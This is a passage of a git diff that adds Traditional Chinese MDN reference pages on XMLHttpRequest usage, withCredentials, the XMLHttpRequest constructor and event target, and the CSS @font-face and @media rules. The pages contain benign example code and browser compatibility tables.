+    window.localStorage.setItem('lm_' + this.filepath, Date.now());
+    isFinite(nLastVisit) &amp;&amp; this.callback(nLastModif, nLastVisit);
+  }
+}
+
+function ifHasChanged(sURL, fCallback) {
+  var oReq = new XMLHttpRequest();
+  oReq.open("HEAD" /* use HEAD - we only need the headers! */, sURL);
+  oReq.callback = fCallback;
+  oReq.filepath = sURL;
+  oReq.onload = getHeaderTime;
+  oReq.send();
+}</pre>
+
+<p>並進行測試：</p>
+
+<pre class="brush: js">/* Let's test the file "yourpage.html"... */
+
+ifHasChanged("yourpage.html", function (nModif, nVisit) {
+  console.log("The page '" + this.filepath + "' has been changed on " + (new Date(nModif)).toLocaleString() + "!");
+});</pre>
+
+<p>如果想要知道<strong><em>目前頁面</em><em>是否</em>已變更</strong>，請參考 {{domxref("document.lastModified")}} 一文。</p>
+
+<h2 id="跨網域_XMLHttpRequest">跨網域 XMLHttpRequest</h2>
+
+<p>現代瀏覽器支援跨網域（cross-site）請求並實作了網路應用程式工作小組（Web Applications (WebApps) Working Group）提出的<a href="/docs/Web/HTTP/Access_control_CORS">跨網域請求存取控制</a>標準。只要伺服器被設定為允許來自你的網路應用程式來源（origin）網域之請求，<code>XMLHttpRequest</code> 便能正常運作。否則，將會拋出一個 <code>INVALID_ACCESS_ERR</code> 例外。</p>
+
+<h2 id="避開快取">避開快取</h2>
+
+<p>有一個跨瀏覽器相容的避開快取方法，便是將時間戳記（timestamp）附加於 URL 後方，請確保加上了適當的「?」或「&amp;」。例如：</p>
+
+<pre class="brush:plain">http://foo.com/bar.html -&gt; http://foo.com/bar.html?12345
+http://foo.com/bar.html?foobar=baz -&gt; http://foo.com/bar.html?foobar=baz&amp;12345
+</pre>
+
+<p>由於本地快取的索引是基於 URL，加入時間戳記會導致每一個請求都會是唯一的，藉此避開快取。</p>
+
+<p>可以使用以下的程式碼來自動的調整 URL：</p>
+
+<pre class="brush:js">var oReq = new XMLHttpRequest();
+
+oReq.open("GET", url + ((/\?/).test(url) ? "&amp;" : "?") + (new Date()).getTime());
+oReq.send(null);</pre>
+
+<h2 id="安全性">安全性</h2>
+
+<p>{{fx_minversion_note(3, "Firefox 3 之前的版本允許在偏好設定中設定 <code>capability.policy.&lt;policyname&gt;.XMLHttpRequest.open&lt;/policyname&gt;</code> 為 <code>allAccess</code> 來讓指定的網域能夠跨網域存取。現已不再支援。")}}</p>
+
+<p>{{fx_minversion_note(5, "Firefox 5 之前的版本可以使用 <code>netscape.security.PrivilegeManager.enablePrivilege(\"UniversalBrowserRead\");</code> 來發送跨網域存取請求。現已不再支援，即使它不會有警告並且依然會顯示允許請求的權限對話框。")}}</p>
+
+<p>開啟跨網域指令碼（script）的建議方式是於 XMLHttpRequest 的回應中使用 <code>Access-Control-Allow-Origin</code> HTTP 標頭。</p>
+
+<h3 id="被中止的_XMLHttpRequest">被中止的 XMLHttpRequest</h3>
+
+<p>如果你發現 <code>XMLHttpRequest</code> 的 <code>status=0</code> 且 <code>statusText=null</code>，這代表請求並不被允許執行，其狀態為 <code><a href="https://xhr.spec.whatwg.org/#dom-xmlhttprequest-unsent">UNSENT（未送出）</a></code>。被中止的原因可能是因為 <a href="https://www.w3.org/TR/2010/CR-XMLHttpRequest-20100803/#xmlhttprequest-origin"><code>XMLHttpRequest</code> 物件所關聯的 origin（來源網域）值</a>（於 <code>XMLHttpRequest</code> 物件建立時自 <code>window.origin</code> 取得）在呼叫 <code>open()</code> 方法之前就已經被改變。這是可能發生的，例如在 <code>window</code> 的 <code>onunload</code> 事件觸發時送出 <code>XMLHttpRequest</code> 請求，預期的情況為：<code>XMLHttpRequest</code> 物件剛被建立，而目前的視窗尚未關閉，而最後發送請求（即呼叫了 <code>open()</code> 方法）的時間點是在此視窗失去了焦點並且另外的視窗取得焦點之間。要避開這個問題的最有效方法是在要被終止的（terminated）<code>window</code> 觸發 <code>unload</code> 事件時，於新的 <code>window</code> 的上註冊一個新的 <code>activate</code> 事件監聽器來發送請求。</p>
+
+<h2 id="使用_JavaScript_模組／XPCOM_元件中的_XMLHttpRequest">使用 JavaScript 模組／XPCOM 元件中的 XMLHttpRequest</h2>
+
+<p>自 <a href="/docs/Mozilla/JavaScript_code_modules/Using">JavaScript 模組</a> 或 XPCOM 元件實體化一個 <code>XMLHttpRequest</code> 物件在做法上會有些許不同；我們無法用 <code>XMLHttpRequest()</code> 建構式，因為此建構式並未在元件中定義，並會導致程式產生錯誤。較佳的方式是使用 XPCOM 元件的建構式。</p>
+
+<pre class="brush: js">const XMLHttpRequest = Components.Constructor("@mozilla.org/xmlextras/xmlhttprequest;1",
+    "nsIXMLHttpRequest");
+</pre>
+
+<p>在 Gecko 16 之前，存在著一個透過這種方式發送的請求會被無條件取消的臭蟲。若程式需要在 Gecko 15 或更早的版本上運作，可以從隱藏的 DOM window 中取得 <code>XMLHttpRequest()</code> 建構式。</p>
+
+<pre class="brush:js">const { XMLHttpRequest } = Components.classes["@mozilla.org/appshell/appShellService;1"]
+                                     .getService(Components.interfaces.nsIAppShellService)
+                                     .hiddenDOMWindow;
+var oReq = new XMLHttpRequest();</pre>
+
+<h2 id="參見">參見</h2>
+
+<ol>
+ <li><a href="/docs/AJAX/Getting_Started">MDN AJAX 介紹</a></li>
+ <li><a href="/docs/Web/HTTP/Access_control_CORS">HTTP 存取控制</a></li>
+ <li><a href="/docs/How_to_check_the_security_state_of_an_XMLHTTPRequest_over_SSL">How to check the security state of an XMLHTTPRequest over SSL</a></li>
+ <li><a href="http://www.peej.co.uk/articles/rich-user-experience.html">XMLHttpRequest - REST and the Rich User Experience</a></li>
+ <li><a href="https://msdn.microsoft.com/library/ms535874">Microsoft documentation</a></li>
+ <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/SafariJSProgTopics/Articles/XHR.html">Apple developers' reference</a></li>
+ <li><a href="http://jibbering.com/2002/4/httprequest.html">"Using the XMLHttpRequest Object" (jibbering.com)</a></li>
+ <li><a href="https://xhr.spec.whatwg.org/">The <code>XMLHttpRequest</code> object: WHATWG specification</a></li>
+</ol>
diff --git a/files/zh-tw/web/api/xmlhttprequest/withcredentials/index.html b/files/zh-tw/web/api/xmlhttprequest/withcredentials/index.html
new file mode 100644
index 0000000000..e70f611ece
--- /dev/null
+++ b/files/zh-tw/web/api/xmlhttprequest/withcredentials/index.html
@@ -0,0 +1,48 @@
+---
+title: XMLHttpRequest.withCredentials
+slug: Web/API/XMLHttpRequest/withCredentials
+translation_of: Web/API/XMLHttpRequest/withCredentials
+---
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<p><code><strong>XMLHttpRequest.withCredentials</strong></code> 屬性是一個 {{jsxref("Boolean")}} 型別，它指出無論是否使用 <code>Access-Control</code> 標頭在跨站的要求上，都應該使用像 Cookies、Authorization 標頭或 TLS 用戶端憑證來進行驗證。在相同來源的要求設定 <code>withCredentials</code> 沒有任何效果。</p>
+
+<p>In addition, this flag is also used to indicate when cookies are to be ignored in the response. The default is <code>false</code>. <code>XMLHttpRequest</code> from a different domain cannot set cookie values for their own domain unless <code>withCredentials</code> is set to <code>true</code> before making the request. The third-party cookies obtained by setting <code>withCredentials</code> to true will still honor same-origin policy and hence can not be accessed by the requesting script through <a href="/en-US/docs/Web/API/Document/cookie">document.cookie</a> or from response headers.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 永遠不會影響到同源請求。</p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong><strong> </strong><code>XMLHttpRequest</code> responses from a different domain <em>cannot</em> set cookie values for their own domain unless <code>withCredentials</code> is set to <code>true</code> before making the request, regardless of <code>Access-Control-</code> header values. </p>
+</div>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+xhr.open('GET', 'http://example.com/', true);
+xhr.withCredentials = true;
+xhr.send(null);</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">備註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-withcredentials-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("api.XMLHttpRequest.withCredentials")}}</p>
diff --git a/files/zh-tw/web/api/xmlhttprequest/xmlhttprequest/index.html b/files/zh-tw/web/api/xmlhttprequest/xmlhttprequest/index.html
new file mode 100644
index 0000000000..6459ef0c2a
--- /dev/null
+++ b/files/zh-tw/web/api/xmlhttprequest/xmlhttprequest/index.html
@@ -0,0 +1,50 @@
+---
+title: XMLHttpRequest()
+slug: Web/API/XMLHttpRequest/XMLHttpRequest
+translation_of: Web/API/XMLHttpRequest/XMLHttpRequest
+---
+<div>{{draft}}{{APIRef('XMLHttpRequest')}}</div>
+
+<p><span class="seoSummary"><code><strong>XMLHttpRequest()</strong></code> 建構式會建立一個新的 {{domxref("XMLHttpRequest")}} 物件。</span></p>
+
+<p>關於如何使用 <code>XMLHttpRequest</code> 物件的細節，請參照： <a class="internal" href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a>.</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">const <var>request</var> = new XMLHttpRequest();
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<p>無。</p>
+
+<h3 id="回傳值">回傳值 </h3>
+
+<p>將回傳一個新的 {{domxref("XMLHttpRequest")}} 物件。{{domxref("XMLHttpRequest")}} 物件在呼叫{{domxref("XMLHttpRequest.send", "send()")}} 送出要求到伺服器之前，至少要藉著呼叫 {{domxref("XMLHttpRequest.open", "open()")}} 來準備好必需的設定。</p>
+
+<h2 id="非標準的_Firefox_語法">非標準的 Firefox 語法</h2>
+
+<p>Firefox 16 added a non-standard parameter to the constructor that can enable anonymous mode (see {{Bug("692677")}}). Setting the <code>mozAnon</code> flag to <code>true</code> effectively resembles the <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#dom-anonxmlhttprequest" title="see AnonXMLHttpRequest in the XMLHttpRequest specification"><code>AnonXMLHttpRequest()</code></a> constructor described in older versions of the XMLHttpRequest specification.</p>
+
+<pre class="syntaxbox">const <var>request</var> = new XMLHttpRequest(<var>paramsDictionary</var>);</pre>
+
+<h3 id="Parameters_non-standard">Parameters (non-standard)</h3>
+
+<dl>
+ <dt><code>objParameters</code> {{gecko_minversion_inline("16.0")}}</dt>
+ <dd>There are two flags you can set:
+ <dl>
+  <dt><code>mozAnon</code></dt>
+  <dd>Boolean: Setting this flag to <code>true</code> will cause the browser not to expose the {{Glossary("origin")}} and <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#user-credentials" title="Defintion of “User credentials” in the XMLHttpRequest specification.">user credentials</a> when fetching resources. Most important, this means that {{Glossary("Cookie", "cookies")}} will not be sent unless explicitly added using setRequestHeader.</dd>
+  <dt><code>mozSystem</code></dt>
+  <dd>Boolean: Setting this flag to <code>true</code> allows making cross-site connections without requiring the server to opt-in using {{Glossary("CORS")}}. <em>Requires setting <code>mozAnon: true</code>, i.e. this can't be combined with sending cookies or other user credentials. This only works in privileged (reviewed) apps ({{Bug("692677")}}); it does not work on arbitrary webpages loaded in Firefox</em></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest">HTML in XMLHttpRequest</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/xmlhttprequesteventtarget/index.html b/files/zh-tw/web/api/xmlhttprequesteventtarget/index.html
new file mode 100644
index 0000000000..41045ab17f
--- /dev/null
+++ b/files/zh-tw/web/api/xmlhttprequesteventtarget/index.html
@@ -0,0 +1,111 @@
+---
+title: XMLHttpRequestEventTarget
+slug: Web/API/XMLHttpRequestEventTarget
+translation_of: Web/API/XMLHttpRequestEventTarget
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p><code>XMLHttpRequestEventTarget</code> 介面描述了一個 {{ domxref("XMLHttpRequest") }} 物件實體當中，所有可註冊事件處理器的屬性。</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{ domxref("XMLHttpRequestEventTarget.onabort") }}</dt>
+ <dd>Contains the function to call when a request is aborted and the {{event('abort')}} event is received by this object.</dd>
+ <dt>{{ domxref("XMLHttpRequestEventTarget.onerror") }}</dt>
+ <dd>Contains the function to call when a request encounters an error and the {{event('error')}} event is received by this object.</dd>
+ <dt>{{ domxref("XMLHttpRequestEventTarget.onload") }}</dt>
+ <dd>Contains the function to call when an HTTP request returns after successfully fetching content and the {{event('load')}} event is received by this object.</dd>
+ <dt>{{ domxref("XMLHttpRequestEventTarget.onloadstart") }}</dt>
+ <dd>Contains the function that gets called when the HTTP request first begins loading data and the {{event('loadstart')}} event is received by this object.</dd>
+ <dt>{{ domxref("XMLHttpRequestEventTarget.onprogress") }}</dt>
+ <dd>Contains the function that is called periodically with information about the progress of the request and the {{event('progress')}} event is received by this object.</dd>
+ <dt>{{ domxref("XMLHttpRequestEventTarget.ontimeout") }}</dt>
+ <dd>Contains the function that is called if the event times out and the {{event("timeout")}} event is received by this object; this only happens if a timeout has been previously established by setting the value of the <code>XMLHttpRequest</code> object's <code>timeout</code> attribute.</dd>
+ <dt>{{ domxref("XMLHttpRequestEventTarget.onloadend") }}</dt>
+ <dd>Contains the function that is called when the load is completed, even if the request failed, and the {{event('loadend')}} event is received by this object.</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>7</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>1.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{ domxref("XMLHttpRequest") }}</li>
+ <li><a href="/zh-TW/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+</ul>
diff --git a/files/zh-tw/web/css/@font-face/index.html b/files/zh-tw/web/css/@font-face/index.html
new file mode 100644
index 0000000000..ca045e5dab
--- /dev/null
+++ b/files/zh-tw/web/css/@font-face/index.html
@@ -0,0 +1,247 @@
+---
+title: '@font-face'
+slug: Web/CSS/@font-face
+tags:
+  - CSS
+  - CSS Reference
+  - CSS 參考
+  - Fonts
+  - WOFF
+  - 字型
+translation_of: Web/CSS/@font-face
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="摘要">摘要</h2>
+
+<p>The <code>@font-face</code> <a href="/en-US/docs/CSS" title="CSS">CSS</a> <a href="/en-US/docs/CSS/At-rule" title="At-rule">at-rule</a> allows authors to specify online fonts to display text on their web pages. By allowing authors to provide their own fonts, <code>@font-face</code> eliminates the need to depend on the limited number of fonts users have installed on their computers. The <code>@font-face</code> at-rule may be used not only at the top level of a CSS, but also inside any <a href="/en-US/docs/CSS/At-rule#Conditional_Group_Rules" title="CSS/At-rule#Conditional_Group_Rules">CSS conditional-group at-rule</a>.</p>
+
+<p>{{seeCompatTable}}</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">@font-face {
+  [font-family: &lt;family-name&gt;;]?
+  [src: [ &lt;uri&gt; [format(&lt;string&gt;#)]? | &lt;font-face-name&gt; ]#;]?
+  [unicode-range: &lt;urange&gt;#;]?
+  [font-variant: &lt;font-variant&gt;;]?
+  [font-feature-settings: normal|&lt;feature-tag-value&gt;#;]?
+  [font-stretch: &lt;font-stretch&gt;;]?
+  [font-weight: &lt;weight&gt;];
+  [font-style: &lt;style&gt;];
+}
+</pre>
+
+<h3 id="參數值">參數值</h3>
+
+<dl>
+ <dt><code>&lt;family-name&gt;</code></dt>
+ <dd>Specifies a font name that will be used as font face value for font properties.</dd>
+ <dt><code>&lt;uri&gt;</code></dt>
+ <dd>URL for the remote font file location, or the name of a font on the user's computer in the form <code>local("Font Name")</code>.</dd>
+ <dt><code>&lt;font-variant&gt;</code></dt>
+ <dd>A {{cssxref("font-variant")}} value.</dd>
+ <dt><code>&lt;font-stretch&gt;</code></dt>
+ <dd>A {{cssxref("font-stretch")}} value.</dd>
+ <dt><code>&lt;weight&gt;</code></dt>
+ <dd>A <a href="/en-US/docs/CSS/font-weight" title="CSS/font-weight">font weight</a> value.</dd>
+ <dt><code>&lt;style&gt;</code></dt>
+ <dd>A <a href="/en-US/docs/CSS/font-style" title="CSS/font-style">font style</a> value.</dd>
+</dl>
+
+<p>You can specify a font on the user's local computer by name using the <code>local()</code> syntax. If that font isn't found, other sources will be tried until one is found.</p>
+
+<h2 id="範例">範例</h2>
+
+<p>這個範例指定一個可供下載的字型，並套用至 document 的整個 body。</p>
+
+<p><a href="/@api/deki/files/2935/=webfont-sample.html" title="/@api/deki/files/2935/=webfont-sample.html">檢視線上範例</a></p>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;Web Font Sample&lt;/title&gt;
+  &lt;style type="text/css" media="screen, print"&gt;
+    @font-face {
+      font-family: "Bitstream Vera Serif Bold";
+      src: url("http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf");
+    }
+
+    body { font-family: "Bitstream Vera Serif Bold", serif }
+  &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  This is Bitstream Vera Serif Bold.
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>這個範例會套用使用者本地的 "Helvetica Neue Bold" 字型，只有當使用者未安裝該字型（兩種名稱都試過了），才會下載 "MgOpenModernaBold.ttf" 字型：</p>
+
+<pre class="brush: css">@font-face {
+  font-family: MyHelvetica;
+  src: local("Helvetica Neue Bold"),
+  local("HelveticaNeue-Bold"),
+  url(MgOpenModernaBold.ttf);
+  font-weight: bold;
+}
+</pre>
+
+<h2 id="注意事項">注意事項</h2>
+
+<ul>
+ <li>In Gecko, web fonts are subject to the same domain restriction (font files must be on the same domain as the page using them), unless <a href="/en-US/docs/HTTP_access_control" title="HTTP access control">HTTP access controls</a> are used to relax this restriction.</li>
+ <li>
+  <div class="note"><strong>Note:</strong> Because there are no defined MIME types for TrueType, OpenType, and Web Open File Format (WOFF) fonts, the MIME type of the file specified is not considered.</div>
+ </li>
+ <li>When Gecko displays a page that uses web fonts, it initially displays text using the best CSS fallback font available on the user's computer while it waits for the web font to finish downloading.  As each web font finishes downloading, Gecko updates the text that uses that font.  This allows the user to read the text on the page more quickly.</li>
+</ul>
+
+<h2 id="規格文件">規格文件</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規格文件</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WOFF1.0', '', 'WOFF font format')}}</td>
+   <td>{{Spec2('WOFF1.0')}}</td>
+   <td>字型格式規格文件</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-face-rule', '@font-face')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能特色</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>4.0</td>
+   <td>4.0</td>
+   <td>10.0</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/WOFF" title="About_WOFF">WOFF</a></td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>6.0</td>
+   <td>9.0</td>
+   <td>11.10</td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td>SVG 字型</td>
+   <td>{{CompatNo}}<br>
+    {{unimplemented_inline(119490)}}</td>
+   <td>有</td>
+   <td>{{CompatNo}}</td>
+   <td>有</td>
+   <td>有</td>
+  </tr>
+  <tr>
+   <td><code>unicode-range</code></td>
+   <td>
+    <p>yes <span style="line-height: 1.572;">({{bug(443976)}})</span></p>
+   </td>
+   <td>有</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能特色</th>
+   <th>Android</th>
+   <th>Firefox 行動版 (Gecko)</th>
+   <th>IE 行動版</th>
+   <th>Opera Mini</th>
+   <th>Opera 行動版</th>
+   <th>Safari 行動版</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>WOFF</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>11.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>SVG 字型</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<br>
+    {{unimplemented_inline(119490)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>unicode-range</code></td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="注意事項_2">注意事項</h3>
+
+<ul>
+ <li>Support of the Embedded OpenType font format is not included in the compatibility table because it is a proprietary feature. Prior to IE 9.0, IE supported only this format.</li>
+ <li>TrueType and OpenType are not included because they are superseded by WOFF.</li>
+</ul>
+
+<h2 id="詳見">詳見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WOFF" title="About WOFF">About WOFF</a></li>
+ <li><a class="external" href="http://www.fontsquirrel.com/fontface/generator">FontSquirrel @font-face generator</a></li>
+ <li><a class="external" href="http://hacks.mozilla.org/2009/06/beautiful-fonts-with-font-face/">Beautiful fonts with @font-face</a></li>
+ <li><a class="external" href="http://openfontlibrary.org/" title="http://openfontlibrary.org/">Open Font Library</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ms530757(VS.85).aspx">Microsoft Developer Network (MSDN) @font-face reference</a></li>
+ <li><a class="external" href="http://caniuse.com/woff">When can I use WOFF?</a></li>
+ <li><a class="external" href="http://caniuse.com/svg-fonts">When can I use SVG Fonts?</a></li>
+</ul>
diff --git a/files/zh-tw/web/css/@media/height/index.html b/files/zh-tw/web/css/@media/height/index.html
new file mode 100644
index 0000000000..cb15e99e80
--- /dev/null
+++ b/files/zh-tw/web/css/@media/height/index.html
@@ -0,0 +1,77 @@
+---
+title: height
+slug: Web/CSS/@media/height
+translation_of: Web/CSS/@media/height
+---
+<p><strong><code>height</code></strong> 屬於 CSS 的媒體功能之一，其值為可視區域 (viewport) 的高度，像是 CSS 的 <a href="/en-US/docs/Web/CSS/length"><code>&lt;length&gt;</code></a>。</p>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註釋</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#height', 'height')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>初始定義。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">瀏覽器相容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/zh-tw/web/css/@media/index.html b/files/zh-tw/web/css/@media/index.html
new file mode 100644
index 0000000000..11f39d07b6
--- /dev/null
+++ b/files/zh-tw/web/css/@media/index.html
@@ -0,0 +1,377 @@
+---
+title: '@media'
+slug: Web/CSS/@media
+tags:
+  - At-rule
+  - CSS
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/CSS/@media
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="概要">概要</h2>
+
+<p><code>@media</code> <a href="/zh-TW/CSS" title="CSS">CSS</a> <a href="/zh-TW/CSS/At-rule" title="zh-TW/CSS/At-rule">at-rule</a> 與一組被大括弧隔開、並由 <a href="/zh-TW/CSS/Media_queries" title="CSS media queries">media query</a> 條件定義的 CSS 巢狀區塊有關。<code>@media</code> at-rule 不只能用在最頂層的 CSS 區塊，也能在任何 <a href="/zh-TW/CSS/At-rule#Conditional_Group_Rules" title="zh-TW/CSS/At-rule#Conditional_Group_Rules">CSS conditional-group at-rule</a> 使用。</p>
+
+<p><code>@media</code> at-rule 能透過 CSS object model 介面 {{domxref("CSSMediaRule")}} 通行。</p>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<p>A <code>&lt;media-query&gt;</code> is composed of a optional media type and/or a number of media features.</p>
+
+<h2 id="Media_types" name="Media_types">Media types</h2>
+
+<dl>
+ <dt>all</dt>
+ <dd>Suitable for all devices.</dd>
+ <dt>print</dt>
+ <dd>Intended for paged material and for documents viewed on screen in print preview mode. Please consult the section on <a href="/en/CSS/Paged_Media" title="https://developer.mozilla.org/en/CSS/Paged_Media">paged media</a>, and the <a href="/en/CSS/Getting_Started/Media" title="https://developer.mozilla.org/en/CSS/Getting_Started/Media">media section of the Getting Started tutorial</a> for information about formatting issues that are specific to paged media.</dd>
+ <dt>screen</dt>
+ <dd>Intended primarily for color computer screens.</dd>
+ <dt>speech</dt>
+ <dd>Intended for speech synthesizers. Note: CSS2 had a similar media type called 'aural' for this purpose. See the appendix on aural style sheets for details.</dd>
+</dl>
+
+<div class="note"><strong>Note:</strong> CSS2.1 and Media Queries 3 defined several additional media types (<code>tty</code>, <code>tv</code>, <code>projection</code>, <code>handheld</code>, <code>braille</code>, <code>embossed</code>, <code>aural</code>), but they were deprecated in <a href="http://dev.w3.org/csswg/mediaqueries/#media-types">Media Queries 4</a> and shouldn't be used.</div>
+
